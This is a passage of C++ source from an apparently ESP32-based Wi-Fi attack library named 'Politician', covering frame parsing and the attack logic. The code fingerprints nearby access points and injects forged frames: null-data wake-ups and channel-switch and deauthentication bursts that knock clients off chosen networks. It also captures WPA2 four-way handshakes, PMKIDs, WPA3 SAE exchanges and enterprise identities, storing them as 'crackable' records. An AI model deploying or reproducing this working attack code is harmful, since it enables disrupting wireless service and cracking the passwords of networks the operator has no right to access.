723 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
724 }
725 } else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
726 _stats.data++;
727 uint8_t subtype = (fc & FC_SUBTYPE_MASK) >> 4;
728 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
729 bool is_qos = (subtype >= 8 && subtype <= 11);
730 if (is_qos) {
731 hdr_len += 2;
732 if (fc & FC_ORDER_MASK) hdr_len += 4;
733 }
734 if (sig_len > hdr_len) {
735 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
736 }
737 } else {
738 _stats.ctrl++;
739 }
740}
741
742void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
743 uint16_t len, int8_t rssi) {
744 uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
745
746 if (subtype == MGMT_SUB_PROBE_REQ) {
747 if (_probeReqCb || _fpHook) {
748 char fp_ssid[33] = {};
749 uint8_t fp_ssid_len = 0;
750 _parseSsid(payload, len, fp_ssid, fp_ssid_len);
751 if (_probeReqCb) {
752 ProbeRequestRecord rec;
753 memset(&rec, 0, sizeof(rec));
754 memcpy(rec.client, hdr->addr2, 6);
755 rec.channel = _rxChannel;
756 rec.rssi = rssi;
757 rec.rand_mac = (rec.client[0] & 0x02) != 0;
758 memcpy(rec.ssid, fp_ssid, fp_ssid_len);
759 rec.ssid_len = fp_ssid_len;
760 _probeReqCb(rec);
761 }
762 if (_fpHook) _fpHook(hdr->addr2, fp_ssid, fp_ssid_len, _rxChannel, rssi, payload, len);
763 }
764 return;
765 }
766
767 if (subtype == MGMT_SUB_DEAUTH || subtype == MGMT_SUB_DISASSOC) {
768 if (_disruptCb) {
769 DisruptRecord rec;
770 memset(&rec, 0, sizeof(rec));
771 memcpy(rec.src, hdr->addr2, 6);
772 memcpy(rec.dst, hdr->addr1, 6);
773 memcpy(rec.bssid, hdr->addr3, 6);
774 rec.reason = (len >= 2) ? (((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8)) : 0;
775 rec.subtype = subtype;
776 rec.channel = _rxChannel;
777 rec.rssi = rssi;
778 rec.rand_mac = (rec.src[0] & 0x02) != 0;
779 _disruptCb(rec);
780 }
781 return;
782 }
783
784 // Parse both Beacons and Probe Responses.
785 // Sniffing Probe Responses automatically enables Active Decloaking
786 // of Hidden Networks when clients reconnect following a CSA/Deauth attack.
787 if (subtype == MGMT_SUB_BEACON || subtype == MGMT_SUB_PROBE_RESP) {
788 _stats.beacons++;
789 _channelTrafficSeen = true;
790 if (len < 12) return;
791
792 const uint8_t *ie = payload + 12;
793 uint16_t ie_len = (len > 12) ? len - 12 : 0;
794
795 uint8_t beacon_ch = _rxChannel;
796 {
797 uint16_t pos = 0;
798 while (pos + 2 <= ie_len) {
799 uint8_t tag = ie[pos];
800 uint8_t tlen = ie[pos + 1];
801 if (pos + 2 + tlen > ie_len) break;
802 if (tag == 3 && tlen == 1) { beacon_ch = ie[pos + 2]; break; }
803 pos += 2 + tlen;
804 }
805 }
806
807 ApRecord ap;
808 memcpy(ap.bssid, hdr->addr3, 6);
809 ap.channel = beacon_ch;
810 ap.rssi = rssi;
811 _parseSsid(ie, ie_len, ap.ssid, ap.ssid_len);
812 ap.enc = _classifyEnc(ie, ie_len);
813 if (ap.enc == 0 && (hdr->frame_ctrl & 0x4000)) ap.enc = 1; // WEP Privacy bit
814
815 // WPS IE: vendor-specific tag 0xDD, OUI 00:50:F2, type 0x04
816 ap.wps_enabled = false;
817 {
818 uint16_t wp = 0;
819 while (wp + 2 <= ie_len) {
820 uint8_t wtag = ie[wp], wlen = ie[wp + 1];
821 if (wp + 2 + wlen > ie_len) break;
822 if (wtag == 221 && wlen >= 4 &&
823 ie[wp+2]==0x00 && ie[wp+3]==0x50 && ie[wp+4]==0xF2 && ie[wp+5]==0x04) {
824 ap.wps_enabled = true; break;
825 }
826 wp += 2 + wlen;
827 }
828 }
829
830 if (ap.rssi < _cfg.min_rssi) return;
831
832 if (_fpHook) _fpHook(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch, rssi, ie, ie_len);
833
834 // Execute targeting filter
835 if (_filterCb && !_filterCb(ap)) return;
836
837 uint8_t effMask = _getAttackMask(ap.bssid);
838
839 bool is_wpa3_only = (ap.enc >= 3) && _detectWpa3Only(ie, ie_len);
840 bool pmf_capable = false, pmf_required = false;
841 if (ap.enc >= 3) _detectPmfFlags(ie, ie_len, pmf_capable, pmf_required);
842 ap.pmf_capable = pmf_capable;
843 ap.pmf_required = pmf_required;
844 uint8_t ft_capable = (ap.enc >= 3) && _detectFt(ie, ie_len);
845 ap.ft_capable = ft_capable;
846
847 // BSS Load IE (Tag 11) and Interworking IE (Tag 107)
848 uint16_t sta_count = 0;
849 uint8_t chan_util = 0;
850 uint8_t venue_group = 0;
851 uint8_t venue_type = 0;
852 uint8_t network_type = 0;
853 {
854 uint16_t pos = 0;
855 while (pos + 2 <= ie_len) {
856 uint8_t tag = ie[pos];
857 uint8_t tlen = ie[pos + 1];
858 if (pos + 2 + tlen > ie_len) break;
859 if (tag == 11 && tlen >= 5) {
860 sta_count = ((uint16_t)ie[pos + 2]) | ((uint16_t)ie[pos + 3] << 8);
861 chan_util = ie[pos + 4];
862 } else if (tag == 107 && tlen >= 1) {
863 network_type = ie[pos + 2] & 0x0F;
864 if (tlen >= 3) {
865 venue_group = ie[pos + 3];
866 venue_type = ie[pos + 4];
867 }
868 }
869 pos += 2 + tlen;
870 }
871 }
872
873 ap.venue_group = venue_group;
874 ap.venue_type = venue_type;
875 ap.network_type = network_type;
876 ap.captured = _isCaptured(ap.bssid);
877
878 ApCacheEntry* entry = _cacheAp(ap.bssid, ap.ssid, ap.ssid_len, ap.enc, beacon_ch, rssi,
879 is_wpa3_only, ap.wps_enabled, pmf_capable, pmf_required, ft_capable,
880 sta_count, chan_util, venue_group, venue_type, network_type);
881
882 // Parse beacon interval (fixed field bytes 8-9) and max legacy data rate
883 if (entry) {
884 uint16_t bint = (len >= 10) ? (((uint16_t)payload[8]) | ((uint16_t)payload[9] << 8)) : 0;
885 uint8_t maxr = 0;
886 uint16_t pos = 0;
887 while (pos + 2 <= ie_len) {
888 uint8_t tag = ie[pos], tlen = ie[pos + 1];
889 if (pos + 2 + tlen > ie_len) break;
890 if (tag == 1 || tag == 50) { // Supported Rates / Extended Supported Rates
891 for (uint8_t ri = 0; ri < tlen; ri++) {
892 uint8_t r = (ie[pos + 2 + ri] & 0x7F); // 500 kbps units
893 if (r > maxr) maxr = r;
894 }
895 }
896 pos += 2 + tlen;
897 }
898 if (bint > 0) entry->beacon_interval = bint;
899 if (maxr > 0) entry->max_rate_mbps = maxr / 2; // convert to Mbps
900 }
901
902 // Parse IE 7 (Country) and store in cache
903 if (entry) {
904 uint16_t pos = 0;
905 while (pos + 2 <= ie_len) {
906 uint8_t tag = ie[pos], tlen = ie[pos + 1];
907 if (pos + 2 + tlen > ie_len) break;
908 if (tag == 7 && tlen >= 2) {
909 entry->country[0] = ie[pos + 2];
910 entry->country[1] = ie[pos + 3];
911 entry->country[2] = '\0';
912 break;
913 }
914 pos += 2 + tlen;
915 }
916 }
917
918 // Fire apFoundCb only once min_beacon_count is satisfied
919 if (_apFoundCb) {
920 bool threshold_ok = true;
921 if (_cfg.min_beacon_count > 0 && entry) {
922 threshold_ok = (entry->beacon_count >= _cfg.min_beacon_count);
923 }
924 if (threshold_ok) _apFoundCb(ap);
925 }
926
927 // Execute active probing for hidden networks
928 if (ap.ssid_len == 0 && _cfg.probe_hidden_interval_ms > 0) {
929 if (entry && (millis() - entry->last_hidden_probe_ms >= _cfg.probe_hidden_interval_ms)) {
930 entry->last_hidden_probe_ms = millis();
931 _sendProbeRequest(ap.bssid);
932 }
933 }
934
935 if (ap.ssid_len > 0 && beacon_ch > 0) {
936 if (_hasTarget && memcmp(_targetBssid, ap.bssid, 6) != 0) return;
937
938 // --- CLIENT WAKE-UP STIMULATION ---
939 if (((hdr->frame_ctrl & FC_SUBTYPE_MASK) == MGMT_SUB_BEACON) && (effMask & ATTACK_STIMULATE)) {
940 for (int i = 0; i < MAX_AP_CACHE; i++) {
941 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
942 if (!_apCache[i].flags.has_active_clients && (millis() - _apCache[i].last_stimulate_ms > 15000)) {
943 _apCache[i].last_stimulate_ms = millis();
944
945 // Hardware-Level Null Data Injection (FromDS=1, MoreData=1)
946 // Triggered exactly on the microsecond the sleeping client's radio turns on
947 uint8_t wake_null[24] = {
948 0x48, 0x22, 0x00, 0x00, // FC: Null Function, ToDS=0, FromDS=1, MoreData=1
949 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // DA: Broadcast
950 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // BSSID
951 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], // SA
952 0x00, 0x00 // Sequence
953 };
954 esp_wifi_80211_tx(WIFI_IF_STA, wake_null, sizeof(wake_null), false);
955 _log("[Stimulate] Beacon-Sync Null Injection fired at %02X:%02X:%02X:%02X:%02X:%02X\n",
956 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5]);
957 }
958 break;
959 }
960 }
961 }
962 }
963
964 bool canFish = ap.enc >= 3 && ap.ssid_len > 0 && !_isCaptured(ap.bssid);
965 if (_hasTarget) canFish = canFish && memcmp(ap.bssid, _targetBssid, 6) == 0;
966
967 if (canFish && _fishState == FISH_IDLE) {
968 if (effMask & ATTACK_PMKID) {
969 for (int i = 0; i < MAX_AP_CACHE; i++) {
970 if (!_apCache[i].flags.active) continue;
971 if (memcmp(_apCache[i].bssid, ap.bssid, 6) != 0) continue;
972
973 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) break;
974 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) break;
975 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) break;
976
977 uint32_t throttle_ms = _hasTarget ? 0u
978 : _apCache[i].flags.has_active_clients ? 15000u
979 : (uint32_t)_cfg.probe_aggr_interval_s * 1000u;
980 uint32_t elapsed = millis() - _apCache[i].last_probe_ms;
981 if (elapsed >= throttle_ms) {
982 _apCache[i].last_probe_ms = millis();
983 _startFishing(ap.bssid, ap.ssid, ap.ssid_len, beacon_ch);
984 }
985 break;
986 }
987 } else if (effMask & (ATTACK_CSA | ATTACK_DEAUTH)) {
988 // Immunity check applies regardless of which attack method is active
989 for (int i = 0; i < MAX_AP_CACHE; i++) {
990 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, ap.bssid, 6) == 0) {
991 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) return;
992 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) return;
993 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) return;
994 break;
995 }
996 }
997 // Find a known STA for unicast deauth — prefer persistent client records
998 memset(_fishSta, 0, 6);
999 for (int ci = 0; ci < MAX_AP_CACHE; ci++) {
1000 if (_apCache[ci].flags.active && memcmp(_apCache[ci].bssid, ap.bssid, 6) == 0 && _apCache[ci].known_sta_count > 0) {
1001 memcpy(_fishSta, _apCache[ci].known_stas[0], 6); break;
1002 }
1003 }
1004 if (!(_fishSta[0] || _fishSta[1] || _fishSta[2])) {
1005 for (int s = 0; s < MAX_SESSIONS; s++) {
1006 if (_sessions[s].flags.active && _sessions[s].flags.has_m2 && memcmp(_sessions[s].bssid, ap.bssid, 6) == 0) {
1007 memcpy(_fishSta, _sessions[s].sta, 6); break;
1008 }
1009 }
1010 }
1011 memcpy(_fishBssid, ap.bssid, 6); memcpy(_fishSsid, ap.ssid, ap.ssid_len); _fishSsid[ap.ssid_len] = '\0';
1012 _fishSsidLen = ap.ssid_len; _fishChannel = beacon_ch; _fishStartMs = millis();
1013 _fishState = FISH_CSA_WAIT;
1014 _csaSecondBurstSent = false;
1015 if (effMask & ATTACK_CSA) _sendCsaBurst();
1016 const uint8_t *known_sta = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
1017 _csaFallbackMs = 0;
1018 if (_disconnectStrategy == STRATEGY_SIMULTANEOUS) {
1019 if (effMask & ATTACK_DEAUTH) _sendDeauthBurst((effMask & ATTACK_CSA) ? _cfg.csa_deauth_count : _cfg.deauth_burst_count, known_sta);
1020 } else if (_disconnectStrategy == STRATEGY_AUTO_FALLBACK) {
1021 if ((effMask & ATTACK_CSA) && (effMask & ATTACK_DEAUTH)) {
1022 // Trigger fallback Deauth *before* the second CSA burst (which happens at 2000ms)
1023 _csaFallbackMs = millis() + 1000;
1024 } else if (effMask & ATTACK_DEAUTH) {
1025 _sendDeauthBurst(_cfg.deauth_burst_count, known_sta);
1026 }
1027 }
1028 _probeLocked = true; _probeLockEndMs = millis() + _cfg.csa_wait_ms;
1029 _log("[Attack] Starting CSA/Deauth on %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s ch%d\n",
1030 ap.bssid[0], ap.bssid[1], ap.bssid[2], ap.bssid[3], ap.bssid[4], ap.bssid[5], ap.ssid_len, ap.ssid, beacon_ch);
1031 }
1032 // ----------------------------------
1033 }
1034 } else if (subtype == MGMT_SUB_ASSOC_REQ) {
1035 _recordClientForAp(hdr->addr1, hdr->addr2, rssi);
1036 } else if (subtype == MGMT_SUB_AUTH) {
1037 if (len < 6) return;
1038 uint16_t auth_alg = ((uint16_t)payload[0]) | ((uint16_t)payload[1] << 8);
1039 uint16_t auth_seq = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1040 uint16_t status = ((uint16_t)payload[4]) | ((uint16_t)payload[5] << 8);
1041
1042 if (auth_alg == 0) { // Open System (Standard WPA2 fishing path)
1043 if (auth_seq == 2 && !_fishAuthLogged) {
1044 _fishAuthLogged = true;
1045 _log("[Auth] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1046 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1047 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], status);
1048 }
1049 } else if (auth_alg == 3) { // SAE (WPA3)
1050 if (status == 0) {
1051 _stats.sae_found++;
1052 _log("[SAE] %s from %02X:%02X:%02X:%02X:%02X:%02X rssi=%d\n",
1053 (auth_seq == 1) ? "Commit" : (auth_seq == 2) ? "Confirm" : "Auth",
1054 hdr->addr2[0], hdr->addr2[1], hdr->addr2[2],
1055 hdr->addr2[3], hdr->addr2[4], hdr->addr2[5], rssi);
1056
1057 if (_eapolCb) {
1058 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1059 rec.type = CAP_SAE; rec.channel = _rxChannel; rec.rssi = rssi;
1060 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1061 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1062 _lookupEnc(rec.bssid, rec.enc);
1063
1064 // Store the raw SAE authentication body (after the 6-byte fixed header)
1065 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1066 if (sae_body_len > 256) sae_body_len = 256;
1067 memcpy(rec.sae_data, payload + 6, sae_body_len);
1068 rec.sae_len = sae_body_len;
1069 rec.sae_seq = (uint8_t)auth_seq;
1070 rec.is_full = (auth_seq == 2); // Confirm frame is the end of successful SAE exchange
1071
1072 _eapolCb(rec);
1073 }
1074 }
1075 }
1076 } else if (subtype == MGMT_SUB_ASSOC_RESP) {
1077 if (len < 6 || !_eapolCb) return;
1078 const uint8_t *ie = payload + 6;
1079 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1080 const uint8_t *bssid = hdr->addr2;
1081 const uint8_t *sta = hdr->addr1;
1082
1083 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1084 if (!_fishAssocLogged) {
1085 _fishAssocLogged = true;
1086 _log("[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1087 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1088 }
1089 if (status != 0) return;
1090
1091 uint16_t pos = 0;
1092 while (pos + 2 <= ie_len) {
1093 uint8_t tag = ie[pos];
1094 uint8_t tlen = ie[pos + 1];
1095 if (pos + 2 + tlen > ie_len) break;
1096 if (tag == 48 && tlen >= 20) {
1097 const uint8_t *rsn = ie + pos + 2;
1098 uint16_t rlen = tlen;
1099 uint16_t off = 2; off += 4;
1100 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1101 off += 2 + pw_cnt * 4;
1102 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1103 off += 2 + akm_cnt * 4;
1104 off += 2;
1105 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1106 off += 2;
1107 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1108 const uint8_t *pmkid_raw = rsn + off;
1109 bool pmkid_valid = false;
1110 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1111 if (pmkid_valid) {
1112 _stats.pmkid_found++; _stats.captures++;
1113 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1114 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1115 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1116 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1117 _lookupEnc(bssid, rec.enc);
1118 memcpy(rec.pmkid, pmkid_raw, 16);
1119 _log("[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1120 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1121 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1122 if (_eapolCb) _eapolCb(rec);
1123 }
1124 }
1125 }
1126 pos += 2 + tlen;
1127 }
1128 }
1129}
1130
1131void Politician::_handleData(const ieee80211_hdr_t *hdr, const uint8_t *payload,
1132 uint16_t len, int8_t rssi) {
1133 if (len < EAPOL_MIN_FRAME_LEN) return;
1134 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return;
1135 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00) return;
1136 if (payload[6] != EAPOL_ETHERTYPE_HI || payload[7] != EAPOL_ETHERTYPE_LO) return;
1137
1138 _stats.eapol++;
1139 _channelTrafficSeen = true;
1140
1141 bool toDS = (hdr->frame_ctrl & FC_TODS_MASK) != 0;
1142 bool fromDS = (hdr->frame_ctrl & FC_FROMDS_MASK) != 0;
1143
1144 const uint8_t *bssid;
1145 const uint8_t *sta;
1146
1147 if (toDS && !fromDS) {
1148 bssid = hdr->addr1; sta = hdr->addr2;
1149 } else if (!toDS && fromDS) {
1150 bssid = hdr->addr2; sta = hdr->addr1;
1151 } else {
1152 bssid = hdr->addr3; sta = hdr->addr2;
1153 }
1154
1155 const uint8_t *eapol = payload + EAPOL_LLC_SIZE;
1156 uint16_t eapol_len = len - EAPOL_LLC_SIZE;
1157
1158 if (eapol_len >= 4) {
1159 if (eapol[1] == 0x00 && _identityCb != nullptr) {
1160 // Decoupled 802.1X Enterprise Identity Interception
1161 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1162 } else if (eapol[1] == 0x03) {
1163 // Standard WPA2/WPA3 EAPOL-Key Handshake Layer
1164 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1165 }
1166 }
1167}
1168
1169bool Politician::_parseEapol(const uint8_t *bssid, const uint8_t *sta,
1170 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1171 if (_isCaptured(bssid)) return false;
1172 if (len < 4 || eapol[1] != 0x03) return false;
1173
1174 // sta_filter: only process sessions involving the specified client MAC
1175 static const uint8_t zero_mac[6] = {};
1176 if (memcmp(_cfg.sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.sta_filter, 6) != 0) return false;
1177
1178 const uint8_t *key = eapol + 4;
1179 uint16_t key_len = len - 4;
1180 if (key_len < EAPOL_KEY_DATA_LEN + 2) return false;
1181 if (key[EAPOL_KEY_DESC_TYPE] != 0x02) return false; // Must be RSN/WPA2 descriptor
1182
1183 uint16_t key_info = ((uint16_t)key[EAPOL_KEY_INFO] << 8) | key[EAPOL_KEY_INFO + 1];
1184 bool is_pairwise = (key_info & KEYINFO_PAIRWISE) != 0;
1185 if (!is_pairwise) {
1186 if (_cfg.capture_group_keys && _eapolCb) {
1187 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1188 rec.type = CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1189 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1190 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1191 _lookupEnc(bssid, rec.enc);
1192 _log("[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1193 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1194 _eapolCb(rec);
1195 }
1196 return false;
1197 }
1198
1199 uint8_t msg = 0;
1200 if ( (key_info & KEYINFO_ACK) && !(key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL)) msg = 1;
1201 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && !(key_info & KEYINFO_SECURE)) msg = 2;
1202 else if ((key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && (key_info & KEYINFO_INSTALL)) msg = 3;
1203 else if (!(key_info & KEYINFO_ACK) && (key_info & KEYINFO_MIC) && !(key_info & KEYINFO_INSTALL) && (key_info & KEYINFO_SECURE)) msg = 4;
1204
1205 if (msg == 0) return false;
1206
1207 _log("[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1208 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1209
1210 if (msg == 3 || msg == 4) {
1211 _recordClientForAp(bssid, sta, rssi);
1212
1213 // Refresh channel lock if we see M3/M4
1214 if (_hopping && _m1Locked) {
1215 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1216 }
1217
1218 Session *sess = _findSession(bssid, sta);
1219 if (!sess) return true;
1220
1221 if (msg == 3) {
1222 uint16_t store_len = (len < 256) ? len : 256;
1223 if (sess->m3_off + store_len <= sizeof(sess->eapol_buffer)) {
1224 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1225 sess->m3_len = store_len;
1226 sess->flags.has_m3 = true;
1227 sess->m4_off = sess->m3_off + store_len; // Advance M4 offset safely
1228 }
1229 } else if (msg == 4) {
1230 uint16_t store_len = (len < 256) ? len : 256;
1231 if (sess->m4_off + store_len <= sizeof(sess->eapol_buffer)) {
1232 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1233 sess->m4_len = store_len;
1234 sess->flags.has_m4 = true;
1235 }
1236
1237 // Full Handshake sequence complete!
1238 if (sess->flags.has_m1 && sess->flags.has_m2) {
1239 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1240 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1241 rec.channel = sess->channel; rec.rssi = sess->rssi;
1242 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1243 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1244 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1245 memcpy(rec.mic, sess->mic, 16);
1246 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1247 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1248 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1249 rec.has_anonce = true; rec.has_snonce = sess->flags.has_m2; rec.has_mic = true;
1250 rec.has_m3 = sess->flags.has_m3; rec.has_m4 = true;
1251 rec.is_full = true;
1252
1253 _log("[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1254 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1255
1256 if (_eapolCb) _eapolCb(rec);
1257 sess->flags.active = false; // Close session
1258 }
1259 }
1260 return true;
1261 }
1262
1263 Session *sess = _findSession(bssid, sta);
1264 if (!sess) sess = _createSession(bssid, sta);
1265 if (!sess) return false;
1266
1267 sess->channel = _rxChannel; sess->rssi = rssi;
1268
1269 if (msg == 1) {
1270 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1271 if (!isOurFishM1 && !(_attackMask & ATTACK_PASSIVE)) return false;
1272
1273 if (key_len < EAPOL_KEY_NONCE + 32) return false;
1274 memcpy(sess->anonce, key + EAPOL_KEY_NONCE, 32);
1275 memcpy(sess->m1_replay_counter, key + EAPOL_REPLAY_COUNTER, 8);
1276 sess->flags.has_m1 = true;
1277
1278 if (_hopping && !_m1Locked) {
1279 _probeLocked = false; _m1Locked = true;
1280 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1281 }
1282 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1283
1284 uint16_t kdata_len = ((uint16_t)key[EAPOL_KEY_DATA_LEN] << 8) | key[EAPOL_KEY_DATA_LEN + 1];
1285 if (kdata_len >= 18 && key_len >= EAPOL_KEY_DATA + kdata_len) {
1286 const uint8_t *kdata = key + EAPOL_KEY_DATA;
1287 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1288 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1289 const uint8_t *pmkid_raw = kdata + i + 6;
1290 bool pmkid_valid = false;
1291 for (int pi = 0; pi < 16; pi++) if (pmkid_raw[pi]) { pmkid_valid = true; break; }
1292 if (pmkid_valid) {
1293 _stats.pmkid_found++; _stats.captures++;
1294 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1295 rec.type = CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1296 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1297 memcpy(rec.ssid, sess->ssid, sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1298 _lookupEnc(bssid, rec.enc);
1299 memcpy(rec.pmkid, pmkid_raw, 16);
1300 _log("[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1301 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1302 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1303 if (_eapolCb) _eapolCb(rec);
1304 }
1305 break;
1306 }
1307 }
1308 }
1309 } else if (msg == 2) {
1310 if (memcmp(sta, _ownStaMac, 6) == 0) return false;
1311 if (key_len < EAPOL_KEY_MIC + 16) return false;
1312 if (sess->flags.has_m1 && memcmp(key + EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0) return false;
1313
1314 // Refresh channel lock if we see M2
1315 if (_hopping && _m1Locked) {
1316 _m1LockEndMs = millis() + _cfg.m1_lock_ms;
1317 }
1318
1319 memcpy(sess->mic, key + EAPOL_KEY_MIC, 16);
1320 if (key_len >= EAPOL_KEY_NONCE + 32) {
1321 memcpy(sess->snonce, key + EAPOL_KEY_NONCE, 32);
1322 }
1323
1324 uint16_t store_len = (len < 256) ? len : 256;
1325 sess->m2_off = 0;
1326 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1327 if (store_len >= 4 + EAPOL_KEY_MIC + 16) memset(sess->eapol_buffer + sess->m2_off + 4 + EAPOL_KEY_MIC, 0, 16);
1328
1329 // Prepare offsets for subsequent messages
1330 sess->m3_off = store_len;
1331 sess->m4_off = store_len; // Point M4 to the same offset. It will be advanced if M3 arrives first.
1332
1333 bool is_new_m2 = !sess->flags.has_m2;
1334 sess->flags.has_m2 = true;
1335 _recordClientForAp(bssid, sta, rssi);
1336
1337 if (sess->flags.has_m1) {
1338 static const uint8_t zero_mic[16] = {};
1339 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1340 _log("[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1341 sess->flags.active = false;
1342 return true;
1343 }
1344 uint32_t now_cap = millis();
1345 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1346 (now_cap - _lastCapMs) < _cfg.session_timeout_ms) {
1347 // We already have a complete crackable pair for this recently,
1348 // but we keep the session alive to capture M3/M4 if possible.
1349 return true;
1350 }
1351 HandshakeRecord rec; memset(&rec, 0, sizeof(rec));
1352 rec.type = (_fishState == FISH_CSA_WAIT) ? CAP_EAPOL_CSA : CAP_EAPOL;
1353 rec.channel = sess->channel; rec.rssi = sess->rssi;
1354 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1355 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
